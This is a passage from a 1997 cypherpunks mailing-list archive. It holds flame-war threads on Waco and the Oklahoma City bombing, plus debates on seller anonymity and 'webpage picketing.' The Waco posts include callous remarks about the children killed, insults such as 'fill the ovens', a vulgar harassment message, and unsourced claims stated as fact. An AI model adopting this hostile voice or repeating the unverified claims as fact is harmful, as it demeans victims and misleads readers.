first place. But putting them into daycare inside a federal building is criminally stupid. Some on this list will even say that the kids' deaths fortunately reduced the negative impact their parents can have on the gene pool. --Lucky From kent at songbird.com Wed Jun 4 15:58:16 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 5 Jun 1997 06:58:16 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <19970604154744.59593@bywater.songbird.com> On Tue, Jun 03, 1997 at 04:56:00PM -0700, Tim May wrote: > At 4:28 PM -0700 6/3/97, Kent Crispin wrote: [...] > > > >Some grew up. Some, like Peter Pan, want to remain children forever. > > > > At least we can expect to see Kent Crispin soon leaving the list. Possibly. I have a life. OTOH, I could lurk for years. > Historically speaking, when writers stoop to one line insultings of the > list they leave soon thereafter. It was a pretty mild insult, relatively speaking, and not really aimed at the list in general. Actually, I was thinking of a news report I read recently about the nationwide drop in violent crime. This trend is very widespread, and is probably explained by the aging of the population -- statistically it is true that most violent crime is perpetrated by young men in the throes of a testosterone high. Similarly, as the list membership gets older and matures the interest in macho displays diminishes. Certainly on this list we see a clique with a strong adolescent macho fascination with guns and violence, and certain of these individuals exhibit other signs of stunted emotional growth. Peter Pan and the Lost Boys seemed an apt image for this group. > (Vulis excepted, of course.) Of course. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From alano at teleport.com Wed Jun 4 16:07:10 1997 From: alano at teleport.com (Alan) Date: Thu, 5 Jun 1997 07:07:10 +0800 Subject: BOUNCE cypherpunks@Algebra.COM: Admin reques In-Reply-To: <199706042229.RAA05009@manifold.algebra.com> Message-ID: Quoting Ray Everett-Church: > As stated before, I have heard no convincing argument that it is in the > consumers best interest to have an anonymous *vendor*. Sure it's vital > that *consumers* be allowed to remain anonymous, but if you're selling a > product or service, there's no legitimate reason why a business needs to > remain anonymous given issues of warranties, product liability, sales > taxes, etc. I can think of a number of reasons why a business would want to remain "hidden". Fear of retribution is the biggest. This could be "valid" retribution (such as for selling shoddy products or annoying sales practices) or "invalid" retribution (such as selling a product that offends the local moral or legal establishment), but is a product that people desire and are willing to pay money for. But such markets are "illegal" and thus not to be thought about by good little citizen units. alano at teleport.com | "Those who are without history are doomed to retype it." From alano at teleport.com Wed Jun 4 16:14:18 1997 From: alano at teleport.com (Alan) Date: Thu, 5 Jun 1997 07:14:18 +0800 Subject: The New War In-Reply-To: <199706042242.RAA24008@mailhub.amaranth.com> Message-ID: On Wed, 4 Jun 1997, William H. Geiger III wrote: > If the only two choices for crypto work is Organized Crime (Mob,Drug > Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go ^^^^^ Are these part of the narcotics trade? ]:> alano at teleport.com | "Those who are without history are doomed to retype it." From shamrock at netcom.com Wed Jun 4 16:39:22 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 5 Jun 1997 07:39:22 +0800 Subject: McVeigh In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: On Wed, 4 Jun 1997, Hallam-Baker wrote: > Give it a rest. The people inside had already murdered several BATF > agents. They had every opportunity to release the children and allow > them to get to safety. They had every opportunity to surrender. Surrender to whom? To those that had fired upon their church when first approaching? Remember, the ATF fired *first*. [The ATF claimed they opened fire when they were shot at through the wooden front door from inside the church. The front door was made of solid steel. After burning all the worshippers inside, the ATF removed the front door and stored it in an evidence room. The door is listed on the evidence log. That's the last time anyone other than the feds has seen the door. When the survivers wanted to present the door in court to prove that the only bullet holes were from shots fired from the outside (the ATF), the door had vanished into thin air. To this day, the steel door can not be found.] From hallam at ai.mit.edu Wed Jun 4 16:48:09 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Thu, 5 Jun 1997 07:48:09 +0800 Subject: McVeigh In-Reply-To: Message-ID: <199706042335.TAA16934@muesli.ai.mit.edu> Since its clear that the McVeigh appologists are simply repeating arguments from alt.conspiracy I don't think theres much point continuing the thread. There is absolutely nothing that anyone did that justified McVeigh's murder of the kids in the daycare center or anyone else. Frissel, Gieger and co are simply trying to distract attention from that fact. Hell, if we were to take them seriously they would have to all be FBI agents attempting to entrap the unwary... Phill PS: Could the FBI agent monitoring the list tell us where to send in evidence in connection with the Bell case? From kent at songbird.com Wed Jun 4 17:49:34 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 5 Jun 1997 08:49:34 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: <19970604173133.51738@bywater.songbird.com> On Wed, Jun 04, 1997 at 03:47:02PM -0700, Lucky Green wrote: > On Wed, 4 Jun 1997, Chris DiBona wrote: > > Do these children > > who may be important to you have parents who "care" about them enough to > > scour the planet to find a good,safe day care that isn't withing the blast > > radius or > > shooting range of : > > [list of public places elided] > > Perhaps taking your kids to day care in a downtown area is not a very good > idea in the first place. But putting them into daycare inside a federal > building is criminally stupid. > > Some on this list will even > say that the kids' deaths fortunately > reduced the negative impact their parents can have on the gene pool. Yes, some pathetic strange little boys swaggering around in never-never land. Lonely individuals with shriveled hearts, stunted morals, and feverish imaginations, who brag contemptuously of their superiority over "sheeple", and boast of their heroic roles in the coming revolution. And thank you, Lucky, for enlightening me -- it isn't the OKC bomber who is the criminal, it's the people who put their children in the daycare center! There's only one punishment suitable for such "criminally stupid" behavior! Lock and Load! -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From jer+ at andrew.cmu.edu Wed Jun 4 18:46:33 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 5 Jun 1997 09:46:33 +0800 Subject: McVeigh In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: <0nZVXb200YUd0MAqc0@andrew.cmu.edu> Hallam-Baker writes: > Only I think that the SAS is probably better experienced. > > > > The Feds could have done in 1993 what they've done since (Koresh wasn't the > > only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE. > > yeah peacefull types whose response to a visit from the police was to > lie in ambush and shoot at them with automatic weapons. > > So are you suggesting that the police ignore the complaints of illegal > ownership of firearms and child abuse? Tens of highly armed ninjas running at ones property does not constitute a "visit." More like an "attack." If the ATF agents had been neighbors of the Davidains, then the Davidians would have been well within thier rights to shoot them down. The proper thing to do would be to walk up and knock on the door. The local sherrif suggested that percise action. However, the unassailable feds in their ivory towers couldn't be bothered to ask any local officials before the raid. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole From azur at netcom.com Wed Jun 4 19:05:12 1997 From: azur at netcom.com (Steve Schear) Date: Thu, 5 Jun 1997 10:05:12 +0800 Subject: Profanity, PCS phones, and FCC In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com> Message-ID: At 10:03 AM -0400 6/4/97, Ryan Anderson wrote: >On Wed, 4 Jun 1997, Jeremey Barrett wrote: > >> Well I went and got a PCS phone (Ericsson), and was pilfering through the >> manual, and came across this amusing text in the "Operating procedures" >> section of the "Guidelines for Safe and Efficient Use": >[snip] >> o Use of profane, indecent, or obscene language while using your >> phone. >> Joy. More laws to break. > >I believe this has been true about your regular phone line for years as >well. It's unenforceable, and as a practical matter the FCC isn't going >to care, *EVER* about it. A 'nudda example of unenforceable laws which undermine respect for lawfull autority by making all bruddas criminals. --Steve From nobody at REPLAY.COM Wed Jun 4 19:09:27 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 5 Jun 1997 10:09:27 +0800 Subject: Password pirates plunder XXX sites, from The Netly News Message-ID: <199706050200.EAA15007@basement.replay.com> A huge number of passwords to pay-only porn sites are loose on the Net. Just surf newsgroups like alt.sex.passwords or do a simple search through a typical web engine and long lists of logins are easy to find. There is an easy solution to this problem. Just use one-time passwords. Put it in a cookie. Every time the customer accesses the service you give him a new one. He doesn't have to do anything. If he gives his password away it won't work for him any more. John From whgiii at amaranth.com Wed Jun 4 19:20:05 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 10:20:05 +0800 Subject: McVeigh Message-ID: <199706050209.VAA26685@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706042335.TAA16934 at muesli.ai.mit.edu>, on 06/04/97 at 07:35 PM, Hallam-Baker said: >Since its clear that the McVeigh appologists are simply repeating >arguments from alt.conspiracy I don't think theres much point continuing >the thread. >There is absolutely nothing that anyone did that justified McVeigh's >murder of the kids in the daycare center or anyone else. Frissel, Gieger >and co are simply trying to distract attention from that fact. No not at all Phil, while I can't speak for anyone else on the list I myself am try to bring to attention that no one cared about the children at Waco that were burned alive at the hands of the BATF. The general opinion was that those children shouldn't have been there and it was the fault of the Branch Dividians that the BATF murdered them. Now the same thing happens to some Federal Employes and now we hear the cries, and wails, "oh the humanity", "the children the children". Where was the outrage and demands for justice for the children of Waco. They were just an "evil cult" their children deserved to burn. I have heard this logic whispered by more than 1 Federal pig. I for one am sick and tired of hearing these two faced bastards wine and cry when it happens to them by cheer when it happen to someone else. >Hell, if we were to take them seriously they would have to all be FBI >agents attempting to entrap the unwary... > Phill >PS: Could the FBI agent monitoring the list tell us where to send in >evidence in connection with the Bell case? Don't worry Phil they know what a good little sheep you are and are confidant that you will do your duty when it comes time to fill the ovens. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5YfCo9Co1n+aLhhAQHLfwQAgzs1PcCrLXW/apUy6mt1Pt06owV3eT7/ UHjPWsr1IRrDsv/yQmXcZm7ilCAOyq/WZvgnO8sFGqKXb5QAeldIEgwmENKHEPtv UchPpLAQCrYxWpciRfc5DwXL+fnQDUFvooXTOmZazP0qsZ/OmrjmkDPckXmUAcxf DwaeQrMxacM= =x5R/ -----END PGP SIGNATURE----- From tcmay at got.net Wed Jun 4 19:21:46 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 10:21:46 +0800 Subject: Seller anonymity is also important In-Reply-To: <199706042229.RAA05009@manifold.algebra.com> Message-ID: At 4:00 PM -0700 6/4/97, Alan wrote: >Quoting Ray Everett-Church: > >> As stated before, I have heard no convincing argument that it is in the >> consumers best interest to have an anonymous *vendor*. Sure it's vital >> that *consumers* be allowed to remain anonymous, but if you're selling a >> product or service, there's no legitimate reason why a business needs to >> remain anonymous given issues of warranties, product liability, sales >> taxes, etc. > >I can think of a number of reasons why a business would want to remain >"hidden". Fear of retribution is the biggest. This could be "valid" >retribution (such as for selling shoddy products or annoying sales >practices) or "invalid" retribution (such as selling a product that >offends the local moral or legal establishment), but is a product that >people desire and are willing to pay money for. > >But such markets are "illegal" and thus not to be thought about by good >little citizen units. I must've missed the original on this...haven't seen a post from Ray Everett-Church (one of those highfalutin' hyphenated names!) in a long time. It turns out that I had this precise discussion with Chaum just before our panel discussion at CFP; Michael Froomkin was also there and agreed with my points (he can clarify this if he wishes). Namely, Chaum argue that seller anonymity was not needed, except for illegal markets, which he claimed he would not support. Well, I immediately pointed out, what about providers of, say, birth control information in jurisdictions where such information is illegal? (Not all such information is free, and any metered access system that was not seller anonymous would be a prime candidate for stings by government agents). I also pointed out other markets for other kinds of information, which at various times and places have been illegal. Sometimes retroactively so. Chaum said he had to agree that these were good examples, and that he'd think about the issue furhter. He speculated during his panel presentation that possibly a mechanism could be found to allow such vendor or seller anonymity for _educational_ and similar materials, but not for other things...Froomkin and I were incredulous. The fact is that seller and buyer anonymity are equally important. Every transaction has two parts, and it is a logical fallacy to assume that only buyers wish untraceability. It may be true that in the _conventional model_ of retail shops selling to walk-in customers, the ontological reality is that the shops are far from anonymous while the customers are often anonymous, but this model is not the only model of an agoric marketplace. Sellers of information on the Net are quite likely to be serious customers of anonymity...look at the use of pseudonyms in general in literature. And so on. The archives have several threads on this subject. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ravage at EINSTEIN.ssz.com Wed Jun 4 19:23:53 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 10:23:53 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706050148.UAA04173@einstein.ssz.com> Hi, Forwarded message: > From: "William H. Geiger III" > Date: Wed, 04 Jun 97 10:00:46 -0500 > Subject: Re: Webpage picketing (fwd) > I think that your analogy is slightly flawed. > > While the farmers have a right to protest on the side of the road they do > not have a right to interfere with the travelers on the road. Correct and using my model would in no way interfere with a users use of the network. It would not add excessive delay or other impedemants. It would be a one time event that occured when the site was initialy accessed. Much like having to go past the picketers on the side of the road at least once. > There is no real way you could picket on the "Info highway" as you have no > right to interfere with the packets traveling on the highway. You can > stand of to the side if you want but somehow I don't think that the > packets will be watching. :) If it is a fully privately funded highway, I agree. If it accepts public money I obviously disagree with you. As to the packets watching, no more so than the cars being used are watching the picketers. This is a straw man argument. The issue here is not the packets but the paticipants. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From ravage at EINSTEIN.ssz.com Wed Jun 4 19:32:46 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 10:32:46 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706050157.UAA04256@einstein.ssz.com> Hi, Forwarded message: > From: "Peter Trei" > Date: Wed, 4 Jun 1997 11:33:54 -6 > Subject: Re: Webpage picketing (fwd) > [Jim wants to be able to 'cyber-picket' - force people to read his > opinions before they can browse sites he does not like. He is > attempting to claim that the net backbones corrospond to public > spaces, where his local government permits him to picket.] Quit taking the drugs they are affecting your attention span. You should also quit trying to divine persons motivation, you are terrible at it. > 'Publically funded network backbones'? Can you name one (in the US)? Actualy I have already named two. > None of which have the slightest relevance - Internet II is a > proposed (and still vaporware) project for an academic-research-only > network Actualy the Internet II documents that I have seen have specificaly mentioned letting students at public schools use them as well as people doing research both private and publicly funded. I understand that it should start to take physical shape just after the turn of the century. The High Speed Supercomputer network is also going to be available for use within just a couple years as well. - it's future existence has no impact on those of us using > the private backbone system of today. You have obviously missed the entire point, today is not the issue. It is tomorrow that we should be looking at and the clear indications that Uncle Sam puts out about funding/supporting future expansion. The federal government can't afford to keep its fingers out of the pie. > Question: if you get the ability to put up your 'cyber-picket' frame, > how about cyber-counter-pickets? Cant the picketee put a page in > front of yours? Who gets priority? Where does it stop? Yes. Yes. First come first served. When the funds run out. > Jim, your idea is roadkill on that horribly imprecise analogy, > the 'information superhighway' (spit). It can't be resuscitated > by asking for 'information super-sidewalks' or claiming the existance > of 'information super-public-spaces'. The underlying metaphor is > fatally flawed. In your opinion, which so far has been nothing but inuendo, ad hominim arguments, and pure opinion. How about some reasoning to go along with it? _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From frissell at panix.com Wed Jun 4 19:40:31 1997 From: frissell at panix.com (frissell at panix.com) Date: Thu, 5 Jun 1997 10:40:31 +0800 Subject: Waco In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com> Message-ID: <3.0.2.32.19970604222321.006f3c90@panix.com> -----BEGIN PGP SIGNED MESSAGE----- Phil, Look, I know you're somewhat anti-private guns and somewhat anti-Right Wing Nuts. I can understand all that. I'm somewhat anti-government guns and somewhat anti-Left Wing Nuts myself. So don't take the word of right wing nuts on WACO. Pay attention to former Attorney General Ramsey Clark as he sues the Feds on behalf of the survivors. Or read the review of the new documentary WACO: THE RULES OF ENGAGEMENT which premiered at Sundance. http://www.waco93.com/ http://www.waco93.com/sfbgreview.htm San Francisco Bay Guardian March 12, 1997 (SF's Alternative Weekly) Rewinding Waco New doc Waco turns heads, hearts. By Susan Gerhard "I've always voted Democrat," William Gazecki, director of crowd-displeaser Waco: The Rules of Engagement, told me over the phone last week. "But at this point, all the lines are crossing in my mind." Ours, too. One of the most achingly sad documentaries I can remember, Gazecki's film sounds, on paper, more like a morning with Rush Limbaugh than like an evening screening at the Roxie (where it got its first theatrical run, last week). In Waco's world the gun "nuts" are sane, the conservatives are honest, the liberals are pigs, the children are in danger. The doc left even slackers in Roxie's rep house stunned, their ideologies scrambled and their consciences scarred by a slow-motion,two-hour-plus replay of the slaughter of a peaceful sect. How can a jury look at the Rodney King videotape and not see a police beating? The same way the American people can look at the Waco inferno and see a mass suicide. A radical reframing suited up in pin-striped documentary garb, The Rules of Engagement mixes footage that's already been heavily digested by interested parties: Waco in flames, forward- looking infrared (FLIR) imagery seen by Congress, CSPAN's coverage of the Waco hearings, David Koresh's pleas, Janet Reno's testimony. But this film adds to that tabloid mix some desperate 911 calls by Branch Davidians, sections of the negotiation tapes that offer a dismal perspective on FBI attempts to come to a truce, the Davidians' footage and that of the FBI agents (a SWAT teamster jokes about being "honed to kill," while Davidians inside calmly express fear for their lives). Most crucially, the soundtrack lays new emotional cues over old footage (a Third Reichian drumbeat as federal agents approach, heavy-metal guitar tangle as tanks crash into the building). And in case anyone's sympathy for the Davidians was lagging, the film also has witnesses noting that armed federal agents killed their Alaskan malamute. ********** Showing at THE COOLIDGE CORNER Brookline, MA Showing daily June 27 - July 4 DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5YjGIVO4r4sgSPhAQH15wP/fdj32x21ap/1kAJPmB1VqFVY+UmWTApC o9YMRDhyPjHAWQjEynYN5xphasFJqHJfiJbNgPMDNz8j3vbFBwXVeSJGVQMcJAKp 06kgBSd3h8Wenja68vhRvA4XGUQBe4MeRL37U1wyBLhBmT3tA4gGhOW/3g7u6vbX kGOpUGY3T0s= =zGAN -----END PGP SIGNATURE----- From tcmay at got.net Wed Jun 4 19:41:53 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 10:41:53 +0800 Subject: A Fair Trial for the Waco Raiders...is it too much to ask for? In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: (I didn't start this Koresh/Waco thread...I'm just renaming it from "McVeigh" to something more germane to the points.) At 6:39 PM -0700 6/4/97, Jeremiah A Blatz wrote: >The proper thing to do would be to walk up and knock on the door. The >local sherrif suggested that percise action. However, the unassailable >feds in their ivory towers couldn't be bothered to ask any local >officials before the raid. As is well known, the Sheriff also said that Koresh had been pleasant to him on a couple of other visits (of the knock on the door type, not the Nomex-clad ninjas sneaking up on all sides with asault rifles at the ready). The Sheriff also said Koresh could have been picked up on any of his trips into Waco, or on any of his morning jogs around the property and nearby roads. For this honesty, the Sheriff elected to resign. Oh, and the reason the Davidians knew about the raiders planning an assault was because some local reporters were talking about it, and someone who overheard them called Koresh to warn him that something big was about to happen. You see, the media and their cameras had been called in to film this propaganda event, this public relations shot in the arm for the beleagured BATF. Shot in the arm indeed. And in the head, And in the kidney. And shot by their own side, from all indications once the "commence fire" command was given. I don't know whether Koresh started the fire, or the tanks started the fire, or the tear gas grenades started the fire, or the automatic weapons fire started the fire. What I know is that a paramilitary assault, complete with tanks and Blackhawk choppers was launched against a private residence for the alleged crimes of having too many weapons (in Texas? gimme a break) and of an allegation of child abuse. That Koresh was not picked up under the circumstances described above, and that the media was invited in to help film the recruting film, tells us that the affair was not about what the BATF and FBI claim it was about. Why is it so radical to ask that a criminal trial be held for those responsible, and all participants, and that the appropriate penalties be meted out if any of those charged are found guilty? Texas is very liberal with the lethal injections, so what's the big deal about having a trial and giving the needle to a dozen or so of the BATF leaders? I imagine that some of those brought to trial might receive lesser sentences, maybe even no punishment at all if they could convince their jury they were "just following orders." I can also imagine some might receive fairly light prison terms, of a few years or less. (Of course, some of them might then face another fate in prison.) But the level of criminality and malfeasance show suggest to me that at least 4 of the Waco raiders and their bosses, maybe 5, would get the death penalty. Sounds fair to me. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at amaranth.com Wed Jun 4 19:44:29 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 10:44:29 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706050148.UAA04173@einstein.ssz.com> Message-ID: <199706050238.VAA27313@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706050148.UAA04173 at einstein.ssz.com>, on 06/04/97 at 08:48 PM, Jim Choate said: >Hi, >Forwarded message: >> From: "William H. Geiger III" >> Date: Wed, 04 Jun 97 10:00:46 -0500 >> Subject: Re: Webpage picketing (fwd) >> I think that your analogy is slightly flawed. >> >> While the farmers have a right to protest on the side of the road they do >> not have a right to interfere with the travelers on the road. >Correct and using my model would in no way interfere with a users use of >the network. It would not add excessive delay or other impedemants. It >would be a one time event that occured when the site was initialy >accessed. Much like having to go past the picketers on the side of the >road at least once. I guess we will have to agree to disagree. If I am stoped even once that is one time too many. In the real world if a group of picketers try to impead my entrance to a store parking lot the growl of a 427 does alot to convince them of the errors of their ways. :) >> There is no real way you could picket on the "Info highway" as you have no >> right to interfere with the packets traveling on the highway. You can >> stand of to the side if you want but somehow I don't think that the >> packets will be watching. :) >If it is a fully privately funded highway, I agree. If it accepts public >money I obviously disagree with you. As to the packets watching, no more >so than the cars being used are watching the picketers. This is a straw >man argument. The issue here is not the packets but the paticipants. Yes and it is the participants who are sending the packets. If I am sending packets between point A & B you have no right to interfere with those transmisions. You donot have the right to re-route them or substute them for others. If you have somthing to say put up a web page and if I am interested I'll stop by and take a look. You don't have the right to force me to look. To do so would be a serious perversion of the 1st Amendment. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5Ym5o9Co1n+aLhhAQEbfwP8Ch1BB7nrIak2Baep5plGpQxZL3tia4Eu c09a5CERexO6UXsbjUcVpH7Yn+npeJLSGGVnzgsLD+rm3grpykffg7s+I0QBT7kO 0A6z9sQiDKlaqpdlSctairH2t+AOjR0p1/PQH22NPotvoWviHflVSH8nihegC2z4 tteGKpxHeDQ= =3meN -----END PGP SIGNATURE----- From frissell at panix.com Wed Jun 4 19:51:07 1997 From: frissell at panix.com (frissell at panix.com) Date: Thu, 5 Jun 1997 10:51:07 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706041452.JAA01618@einstein.ssz.com> Message-ID: <3.0.2.32.19970604223956.03965ddc@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:33 AM 6/4/97 -6, Peter Trei wrote: >'Publically funded network backbones'? Can you name one (in the US)? >NSFnet and ARPAnet are long dead. Back when they were active, there was >considerable debate about the legality of commercial speech on the >net, and earlier, doubts about the legality of any traffic (including >private email) which was not in support of government funded research. >(the first big mailing list, the SF-Lovers Digest, had a >quasi-underground existence for many years due to this worry). The Net is technically and legally a private value-added network. The last bit of the then existing backbone was privatized the weekend following the OKC bombing in April 1995. (No relation) DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5Ym+4VO4r4sgSPhAQHglgP+PVwxuSuNzSJWNjZgaDtATi+p0pN5uCyp y9QDT6SQnFmkCn/cvIs0h6Kd++foqxR+pGAquSnqsKB5bMWRDxiyob9oqFiKkO9Z 8W0riSjP18GutnO2xrzozMO9K2mPbwYPHwHm2IAX31kebmr4zYpqu4exq8227jTP 4mHHXb9GlJE= =reP1 -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Wed Jun 4 20:21:07 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 11:21:07 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706050245.VAA04463@einstein.ssz.com> Hi, Forwarded message: > From: "William H. Geiger III" > Date: Wed, 04 Jun 97 21:38:40 -0500 > Subject: Re: Webpage picketing (fwd) > >Correct and using my model would in no way interfere with a users use of > >the network. It would not add excessive delay or other impedemants. It > >would be a one time event that occured when the site was initialy > >accessed. Much like having to go past the picketers on the side of the > >road at least once. > > I guess we will have to agree to disagree. If I am stoped even once that > is one time too many. In the real world if a group of picketers try to > impead my entrance to a store parking lot the growl of a 427 does alot to > convince them of the errors of their ways. :) Whew, talk about fixated. NOBODY is talking about stopping anything but you, THAT would be unconstitutional. I am NOT saying that such a situation would prevent you from reaching your destination (ie the store) but it would require you to pass through the picket line (ie get a single page as your first responce to your request) and be exposed however briefly to their speech. > Yes and it is the participants who are sending the packets. If I am > sending packets between point A & B you have no right to interfere with > those transmisions. You are right, I WOULD have a right to interfere with their reception which is after all what I am talking about. I am in no way discussing slowing or otherwise altering the request from the user, I am specificaly talking about adding a single page to the servers output. Straw man. > You donot have the right to re-route them or substute > them for others. If you have somthing to say put up a web page and if I am > interested I'll stop by and take a look. You don't have the right to force > me to look. To do so would be a serious perversion of the 1st Amendment. Absolutely, and none of this has anything whatsoever to do with the issue at hand. Another straw man. If you are using a publicly funded thoroughfare I CAN consitutionaly FORCE you to see my message if YOU insist on going to that particular store. It isn't the user who is being picketed, it is the server. You as a user of the system have nothing to say about it, unless as alluded by another cpunk you want to picket the picketers (which is completely legal and happens quite often). _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From ravage at EINSTEIN.ssz.com Wed Jun 4 20:27:07 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 11:27:07 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706050252.VAA04510@einstein.ssz.com> Hi, Forwarded message: > From: frissell at panix.com > Date: Wed, 04 Jun 1997 22:39:56 -0400 > Subject: Re: Webpage picketing (fwd) > The Net is technically and legally a private value-added network. The last > bit of the then existing backbone was privatized the weekend following the OKC > bombing in April 1995. (No relation) Yes, and there is not one law on the books preventing the government from putting in their own backbones in the future, which is exactly what they are planning on doing. Which is what I am talking about. This temporal displacement argument is a straw man. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From real at freenet.edmonton.ab.ca Wed Jun 4 20:29:40 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Thu, 5 Jun 1997 11:29:40 +0800 Subject: your mail In-Reply-To: <199706042203.PAA11358@sirius.infonex.com> Message-ID: On Wed, 4 Jun 1997, Mix wrote: I think Vulis needs each of us to send ten copies of this back to him. > May Timothy C. Mayo's forgeries get stuck up his ass > so he'll have to shit through his filthy mouth for the > rest of its miserable life. > > o o > /< >\ Timothy C. Mayo > \\\_______/// > // \\ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From whgiii at amaranth.com Wed Jun 4 20:48:38 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 11:48:38 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706050245.VAA04463@einstein.ssz.com> Message-ID: <199706050345.WAA28246@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- Hi Jim, Lets drop the analogies for a moment. :) Now if I understand you (and feel free to correct me) this is what you wish to do: I as Joe Sixpack want to goto http://www.bigtits.com You as goodie-2-shoes want to picket this site. Inorder to do this you wish to have me goto http://www.NOW.com and see their anti-porn page before I can see the bigtits page. (wether I actually goto their website or the page is automatically downloaded is irrelevant for the disscusion). Now as Joe Sixpack I 